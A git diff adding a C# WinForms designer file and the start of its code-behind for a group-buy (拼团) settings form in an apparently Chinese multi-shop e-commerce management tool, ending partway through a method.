this.label4.TabIndex = 474; + this.label4.Text = "活动时间"; + // + // btnSetActivity + // + this.btnSetActivity.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnSetActivity.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSetActivity.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSetActivity.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSetActivity.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSetActivity.Location = new System.Drawing.Point(668, 22); + this.btnSetActivity.Name = "btnSetActivity"; + this.btnSetActivity.Size = new System.Drawing.Size(80, 23); + this.btnSetActivity.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetActivity.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetActivity.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetActivity.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSetActivity.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSetActivity.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSetActivity.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSetActivity.Style.GradientAngle = 90; + this.btnSetActivity.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetActivity.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSetActivity.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSetActivity.TabIndex = 427; + this.btnSetActivity.Text = "设置拼团"; + this.btnSetActivity.Click += new System.EventHandler(this.btnSetActivity_Click); + // + // btnStopOperate + // + this.btnStopOperate.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStopOperate.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStopOperate.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStopOperate.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStopOperate.Location = new System.Drawing.Point(668, 52); + this.btnStopOperate.Name = "btnStopOperate"; + this.btnStopOperate.Size = new System.Drawing.Size(80, 23); + this.btnStopOperate.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopOperate.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopOperate.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopOperate.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStopOperate.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopOperate.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStopOperate.Style.GradientAngle = 90; + this.btnStopOperate.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopOperate.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopOperate.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopOperate.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopOperate.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStopOperate.TabIndex = 405; + this.btnStopOperate.Text = "停止设置"; + this.btnStopOperate.Click += new System.EventHandler(this.btnStopOperate_Click); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.btnRefreshShop); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(3, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(144, 150); + this.ucGroupBoxEx1.TabIndex = 399; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "基础"; + // + // btnRefreshShop + // + this.btnRefreshShop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefreshShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefreshShop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefreshShop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefreshShop.ForeColor = System.Drawing.Color.White; + this.btnRefreshShop.Location = new System.Drawing.Point(16, 30); + this.btnRefreshShop.Margin = new System.Windows.Forms.Padding(2); + this.btnRefreshShop.Name = "btnRefreshShop"; + this.btnRefreshShop.Size = new System.Drawing.Size(112, 26); + this.btnRefreshShop.TabIndex = 375; + this.btnRefreshShop.Text = "刷新店铺状态"; + this.btnRefreshShop.UseVisualStyleBackColor = false; + this.btnRefreshShop.Click += new System.EventHandler(this.btnRefreshShop_Click); + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.splitContainer2); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer3.Size = new System.Drawing.Size(1184, 549); + this.splitContainer3.SplitterDistance = 519; + this.splitContainer3.TabIndex = 1; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.panelEx1); + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 4, 0); + this.splitContainer2.Size = new System.Drawing.Size(1184, 519); + this.splitContainer2.SplitterDistance = 270; + this.splitContainer2.TabIndex = 0; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colAuthStatus, + this.colLoginStatus, + this.colCanUse, + this.colMessage}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + this.dgvShop.RowHeadersWidth = 30; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(266, 519); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.HeaderText = "全选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 28; + // + // colShopId + // + this.colShopId.HeaderText = "店铺"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Visible = false; + this.colShopId.Width = 55; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 75; + // + // colAuthStatus + // + this.colAuthStatus.HeaderText = "授权状态"; + this.colAuthStatus.Name = "colAuthStatus"; + this.colAuthStatus.ReadOnly = true; + this.colAuthStatus.Width = 65; + // + // colLoginStatus + // + this.colLoginStatus.HeaderText = "登录状态"; + this.colLoginStatus.Name = "colLoginStatus"; + this.colLoginStatus.ReadOnly = true; + this.colLoginStatus.Width = 65; + // + // colCanUse + // + this.colCanUse.HeaderText = "可用"; + this.colCanUse.Name = "colCanUse"; + this.colCanUse.ReadOnly = true; + this.colCanUse.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colCanUse.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colCanUse.Visible = false; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Visible = false; + this.colMessage.Width = 120; + // + // panelEx1 + // + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Controls.Add(this.ucTabControl1); + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelEx1.Location = new System.Drawing.Point(0, 0); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Padding = new System.Windows.Forms.Padding(1); + this.panelEx1.Size = new System.Drawing.Size(906, 519); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.Color = System.Drawing.Color.White; + this.panelEx1.Style.BackColor2.Color = System.Drawing.Color.White; + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.TabIndex = 183; + // + // ucTabControl1 + // + this.ucTabControl1.BackgroundColor = System.Drawing.Color.White; + this.ucTabControl1.Controls.Add(this.tabPage1); + this.ucTabControl1.Controls.Add(this.tabPage2); + this.ucTabControl1.Dock = System.Windows.Forms.DockStyle.Fill; + this.ucTabControl1.Location = new System.Drawing.Point(1, 1); + this.ucTabControl1.Name = "ucTabControl1"; + this.ucTabControl1.Padding = new System.Drawing.Point(10, 3); + this.ucTabControl1.SelectedIndex = 0; + this.ucTabControl1.ShowCloseButton = true; + this.ucTabControl1.Size = new System.Drawing.Size(904, 517); + this.ucTabControl1.TabIndex = 0; + this.ucTabControl1.TabSelectColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucTabControl1.TabTextColor = System.Drawing.Color.Gray; + // + // tabPage1 + // + this.tabPage1.Location = new System.Drawing.Point(2, 26); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(898, 487); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = "店铺1"; + this.tabPage1.UseVisualStyleBackColor = true; + // + // tabPage2 + // + this.tabPage2.Location = new System.Drawing.Point(2, 26); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(898, 487); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = "店铺2"; + this.tabPage2.UseVisualStyleBackColor = true; + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer4.Location = new System.Drawing.Point(0, 0); + this.splitContainer4.Name = "splitContainer4"; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.statusBar); + // + // splitContainer4.Panel2 + // + this.splitContainer4.Panel2.Controls.Add(this.btnClear); + this.splitContainer4.Size = new System.Drawing.Size(1184, 26); + this.splitContainer4.SplitterDistance = 1069; + this.splitContainer4.TabIndex = 3; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1069, 26); + this.statusBar.TabIndex = 2; + // + // btnClear + // + this.btnClear.Anchor = System.Windows.Forms.AnchorStyles.Right; + this.btnClear.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnClear.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnClear.DisabledBackColor = System.Drawing.Color.Empty; + this.btnClear.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnClear.Location = new System.Drawing.Point(17, 0); + this.btnClear.Name = "btnClear"; + this.btnClear.Size = new System.Drawing.Size(90, 21); + this.btnClear.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnClear.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnClear.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnClear.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.Style.GradientAngle = 90; + this.btnClear.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.TabIndex = 440; + this.btnClear.Text = "清空结果"; + this.btnClear.Click += new System.EventHandler(this.btnClear_Click); + // + // GroupBuyForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1184, 703); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "GroupBuyForm"; + this.Text = "GroupBuyFrom"; + this.Load += new System.EventHandler(this.GroupBuyFrom_Load); + this.VisibleChanged += new System.EventHandler(this.GroupBuyForm_VisibleChanged); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.splitContainer5.Panel1.ResumeLayout(false); + this.splitContainer5.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer5)).EndInit(); + this.splitContainer5.ResumeLayout(false); + this.ucGroupBoxEx3.ResumeLayout(false); + this.ucGroupBoxEx3.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbPaste2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbPaste1)).EndInit(); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudEachActivityProductNum)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudStockValue)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudDiscountValue)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudGroupCount)).EndInit(); + this.ucGroupBoxEx1.ResumeLayout(false); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.panelEx1.ResumeLayout(false); + this.ucTabControl1.ResumeLayout(false); + this.splitContainer4.Panel1.ResumeLayout(false); + this.splitContainer4.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.SplitContainer splitContainer5; + private UserComponent.UcGroupBoxEx ucGroupBoxEx3; + private System.Windows.Forms.TextBox txtPriceMin; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.TextBox txtPriceMax; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox txtSaleMax; + private System.Windows.Forms.TextBox txtSaleMin; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.RadioButton rbOnSale; + private DevComponents.DotNetBar.PanelEx btnStopGetProduct; + private DevComponents.DotNetBar.PanelEx btnGetProduct; + private System.Windows.Forms.RadioButton rbOffSale; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private System.Windows.Forms.Label label17; + private System.Windows.Forms.NumericUpDown nudGroupCount; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.DateTimePicker dtpEndTime; + private System.Windows.Forms.DateTimePicker dtpStartTime; + private System.Windows.Forms.Label label4; + private DevComponents.DotNetBar.PanelEx btnSetActivity; + private DevComponents.DotNetBar.PanelEx btnStopOperate; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private UserControls.ButtonEx btnRefreshShop; + private System.Windows.Forms.SplitContainer splitContainer3; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colAuthStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn colLoginStatus; + private System.Windows.Forms.DataGridViewCheckBoxColumn colCanUse; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + private DevComponents.DotNetBar.PanelEx panelEx1; + private System.Windows.Forms.SplitContainer splitContainer4; + private UserControls.StatusBarUserControl statusBar; + private DevComponents.DotNetBar.PanelEx btnClear; + private System.Windows.Forms.CheckBox chkAutoGroup; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbCancelTime; + private DevComponents.Editors.ComboItem comboItem1; + private DevComponents.Editors.ComboItem comboItem2; + private DevComponents.Editors.ComboItem comboItem3; + private DevComponents.Editors.ComboItem comboItem4; + private DevComponents.Editors.ComboItem comboItem5; + private DevComponents.Editors.ComboItem comboItem6; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.NumericUpDown nudDiscountValue; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbLimitCount; + private DevComponents.Editors.ComboItem 不限购; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.NumericUpDown nudEachActivityProductNum; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.NumericUpDown nudStockValue; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbDiscountType; + private DevComponents.Editors.ComboItem 打折; + private DevComponents.Editors.ComboItem 直降; + private DevComponents.Editors.ComboItem 一口价; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbStockType; + private DevComponents.Editors.ComboItem 全部库存; + private DevComponents.Editors.ComboItem 百分比库存; + private DevComponents.Editors.ComboItem 统一库存; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label lblPercentSign; + private System.Windows.Forms.PictureBox pbPaste2; + private System.Windows.Forms.PictureBox pbPaste1; + private DevComponents.DotNetBar.Controls.TextBoxX txtFilter; + private System.Windows.Forms.Label label14; + private DevComponents.DotNetBar.Controls.TextBoxX txtProductName; + private System.Windows.Forms.Label lblProductName; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.RadioButton rbCustomNames; + private System.Windows.Forms.RadioButton rbRandomNames; + private System.Windows.Forms.Label label13; + private DevComponents.DotNetBar.PanelEx btnSetName; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbSkuOptionType; + private DevComponents.Editors.ComboItem 第一个; + private DevComponents.Editors.ComboItem 最后一个; + private DevComponents.Editors.ComboItem 最便宜; + private DevComponents.Editors.ComboItem 最贵; + private System.Windows.Forms.CheckBox chkSetSkuOption; + private System.Windows.Forms.Label label15; + private System.Windows.Forms.TextBox txtGetPage; + private UserComponent.UcTabControl ucTabControl1; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TabPage tabPage2; + private DevComponents.Editors.ComboItem 不设置最便宜; + private DevComponents.Editors.ComboItem 不设置最贵; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyForm.cs new file mode 100644 index 0000000..4824beb --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyForm.cs @@ -0,0 +1,902 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.Extension; +using LittleRabbit.Helper; +using LittleRabbit.LittleRabbitForms.BaseForms; +using LittleRabbit.LittleRabbitForms.ShopForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class GroupBuyForm : Form + { + public static List CustomActivityNames = new List(); + + private CheckBox chkSelectAll = null; + public ChromiumWebBrowser webBrowser = null; + private List lstShopId = new List(); + public List keywords = null; + public List filterWords = null; + public decimal priceMin; + public decimal priceMax; + public int saleMin; + public int saleMax; + public int getPage; + + public CancellationTokenSource cancellationTokenSource = null; + + public GroupBuyForm() + { + InitializeComponent(); + } + + private void GroupBuyFrom_Load(object sender, EventArgs e) + { + dtpStartTime.Value = DateTime.Now; + dtpEndTime.Value = dtpStartTime.Value.AddDays(1); + + CustomActivityNames = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("group_buy_custom_names"); + if (CustomActivityNames == null) + { + CustomActivityNames = new List(); + } + + for (int i = 1; i <= 20; i++) + { + this.cmbLimitCount.Items.Add(i + "个"); + } + this.cmbLimitCount.SelectedIndex = 0; + this.cmbCancelTime.SelectedIndex = 1; + this.cmbStockType.SelectedIndex = 1; + this.cmbDiscountType.SelectedIndex = 0; + this.cmbSkuOptionType.SelectedIndex = 0; + + this.ucTabControl1.TabPages.Clear(); + + chkSelectAll = dgvShop.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Center, 0, 0, null, null, false); + dgvShop.Columns["colSelect"].HeaderText = ""; + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + } + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + lstShopId.Clear(); + foreach (DataGridViewRow row in dgvShop.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + lstShopId.Clear(); + var list = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功" && s.LoginStatus == "登录成功").Select(ss => ss.ShopAccountId); + lstShopId.AddRange(list); + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (list.Any(l => l == row.Cells["colShopId"]?.Value?.ToString())) + row.Cells["colSelect"].Value = true; + } + } + } + + private void chkAutoGroup_CheckedChanged(object sender, EventArgs e) + { + + } + + private void cmbDiscountType_SelectedValueChanged(object sender, EventArgs e) + { + } + + private void GroupBuyForm_VisibleChanged(object sender, EventArgs e) + { + if (Visible == true) + RefreshShop(); + } + + private void btnRefreshShop_Click(object sender, EventArgs e) + { + RefreshShop(); + } + + + private void RefreshShop() + { + // 更新选中的上货店铺Id + lstShopId = lstShopId.Where(id => GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == id && s.LoginStatus == "已授权")).ToList(); + // 获取被删除的店铺 + List dgvRowList = dgvShop.Rows.Cast().Where(row + => !GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == row.Cells["colShopId"]?.Value?.ToString())).ToList(); + // 更新被删除的店铺列表 + foreach (var row in dgvRowList) + { + dgvShop.Rows.Remove(row); + } + // 绑定其他店铺(含新导入的店铺) + foreach (DouShopLoginInfo shopEntity in GlobalConfig.DouShopLoginList) + { + BindShop(shopEntity); + } + } + + private void BindShop(DouShopLoginInfo shopEntity) + { + if (shopEntity == null) + return; + + bool canUse = shopEntity.ApiAuthStatus == "授权成功" && shopEntity.LoginStatus == "登录成功"; + var row = dgvShop.Rows.Cast().FirstOrDefault(p => p.Cells.GetCellValueFromColumnName("colShopId").ParseToString() == shopEntity.ShopAccountId); + if (row == null) + { + this.dgvShop.Rows.Add( + lstShopId.Contains(shopEntity.ShopAccountId) && canUse, + shopEntity.ShopAccountId, + shopEntity.ShopAccount, + shopEntity.ApiAuthStatus, + shopEntity.LoginStatus, + canUse, + string.Empty + ); + } + else + { + row.Cells["colSelect"].Value = lstShopId.Contains(shopEntity.ShopAccountId) && canUse; + row.Cells["colShopName"].Value = shopEntity.ShopAccount; + row.Cells["colAuthStatus"].Value = shopEntity.ApiAuthStatus; + row.Cells["colLoginStatus"].Value = shopEntity.LoginStatus; + row.Cells["colCanUse"].Value = canUse; + } + } + + private void cmbDiscountType_SelectedIndexChanged(object sender, EventArgs e) + { + if (cmbDiscountType.Text == "打折") + { + nudDiscountValue.Maximum = 9.9m; + nudDiscountValue.Minimum = 0.1m; + nudDiscountValue.Increment = 0.1m; + 